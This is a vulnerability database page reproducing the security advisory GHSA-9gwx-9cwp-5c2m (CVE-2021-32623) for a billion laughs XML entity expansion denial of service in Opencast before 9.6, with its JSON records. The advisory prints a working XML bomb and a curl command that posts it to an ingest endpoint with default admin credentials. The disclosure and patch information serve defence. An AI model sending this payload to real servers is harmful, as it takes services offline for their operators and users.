github - ghsa-9gwx-9cwp-5c2m

GHSA-9GWX-9CWP-5C2M

Vulnerability from github – Published: 2021-06-17 20:11 – Updated: 2021-10-21 13:40

Summary

Billion laughs attack (XML bomb)

Details

Impact

Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (createMediaPackage.xml) like this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
 <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
 <!ELEMENT title (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
  <title>&lol5;</title>
  <media/>
  <metadata/>
  <attachments/>
  <publications/>
</mediapackage>

Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:

curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
  -F 'mediapackage=<createMediaPackage.xml' \
  -F sourceFlavors="" \
  -F sourceTags="" \
  -F deleteExternal="" \
  -F tagsAndFlavor='' \
  -o out.xml

Additional notes:

You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
To exploit this, users need to have ingest privileges, limiting the group of potential attackers

Patches

The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.

Workarounds

There is no known workaround for this issue.

References

Billion laughs attack explained
For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/___

For more information

If you have any questions or comments about this advisory:

Open an issue in our issue tracker
Email us at security@opencast.org

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.opencastproject:opencast-kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-16T20:07:19Z",
    "nvd_published_at": "2021-06-16T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nOpencast is vulnerable to the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)  which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.\n\nConsider an XML file (`createMediaPackage.xml`) like this:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e\n\u003c!DOCTYPE lolz [\n \u003c!ENTITY lol \"Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry\u0027s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. \"\u003e\n \u003c!ELEMENT title (#PCDATA)\u003e\n \u003c!ENTITY lol1 \"\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\"\u003e\n \u003c!ENTITY lol2 \"\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\"\u003e\n \u003c!ENTITY lol3 \"\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\"\u003e\n \u003c!ENTITY lol4 \"\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\u0026lol3;\"\u003e\n \u003c!ENTITY lol5 \"\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\u0026lol4;\"\u003e\n]\u003e\n\u003cmediapackage xmlns=\"http://mediapackage.opencastproject.org\" id=\"d162d5b2-b54f-4400-a268-ee6565b0e6e7\" start=\"2020-01-23T23:08:37Z\"\u003e\n  \u003ctitle\u003e\u0026lol5;\u003c/title\u003e\n  \u003cmedia/\u003e\n  \u003cmetadata/\u003e\n  \u003cattachments/\u003e\n  \u003cpublications/\u003e\n\u003c/mediapackage\u003e\n```\n\nThrowing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100\u00a0000 times, instantly consuming a huge amount of memory:\n\n```sh\ncurl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \\\n  -F \u0027mediapackage=\u003ccreateMediaPackage.xml\u0027 \\\n  -F sourceFlavors=\"\" \\\n  -F sourceTags=\"\" \\\n  -F deleteExternal=\"\" \\\n  -F tagsAndFlavor=\u0027\u0027 \\\n  -o out.xml\n```\n\nAdditional notes:\n\n- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.\n- Opencast\u0027s XML parser does limit the expansion to 100\u00a0000 times, already limiting the attack. Nevertheless, this can already harm the system. \n- To exploit this, users need to have ingest privileges, limiting the group of potential attackers\n\n### Patches\n\nThe problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.\n\n### Workarounds\n\nThere is no known workaround for this issue.\n\n### References\n\n- [Billion laughs attack explained](https://en.wikipedia.org/wiki/Billion_laughs_attack)\n- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)\n- Email us at [security@opencast.org](mailto:security@opencast.org)",
  "id": "GHSA-9gwx-9cwp-5c2m",
  "modified": "2021-10-21T13:40:37Z",
  "published": "2021-06-17T20:11:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/security/advisories/GHSA-9gwx-9cwp-5c2m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32623"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/16b0d641713fe31b8518fcf14fc5e4e815d81206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencast/opencast/commit/8ae27da5a6f658011a5741b3210e715b0dc6213e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opencast/opencast"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Billion laughs attack (XML bomb)"
}

CVE-2021-32623 (GCVE-0-2021-32623)

Vulnerability from cvelistv5 – Published: 2021-06-15 23:45 – Updated: 2024-08-03 23:25

Summary

Opencast is a free and open source solution for automated video capture and distribution. Versions of Opencast prior to 9.6 are vulnerable to the billion laughs attack, which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request. To exploit this, users need to have ingest privileges, limiting the group of potential attackers The problem has been fixed in Opencast 9.6. There is no known workaround for this issue.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CWE

CWE-776 - Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/opencast/opencast/security/adv…	x_refsource_CONFIRM
	https://github.com/opencast/opencast/commit/8ae27…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	opencast	opencast	Affected: < 9.6

Show details on NVD website

JSON

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          "dateUpdated": "2024-08-03T23:25:30.875Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
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        },
        "references": [
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/opencast/opencast/security/advisories/GHSA-9gwx-9cwp-5c2m"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/opencast/opencast/commit/8ae27da5a6f658011a5741b3210e715b0dc6213e"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "opencast",
          "vendor": "opencast",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 9.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
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        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
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          "descriptions": [
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            }
          ]
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      ],
      "providerMetadata": {
        "dateUpdated": "2021-06-15T23:45:10",
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          "url": "https://github.com/opencast/opencast/commit/8ae27da5a6f658011a5741b3210e715b0dc6213e"
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      ],
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        "discovery": "UNKNOWN"
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            }
          ]
        },
        "impact": {
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            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
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            "integrityImpact": "HIGH",
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            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
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  },
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}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-9GWX-9CWP-5C2M

Impact

Patches

Workarounds

References

For more information

CVE-2021-32623 (GCVE-0-2021-32623)

Tags

Sightings

Nomenclature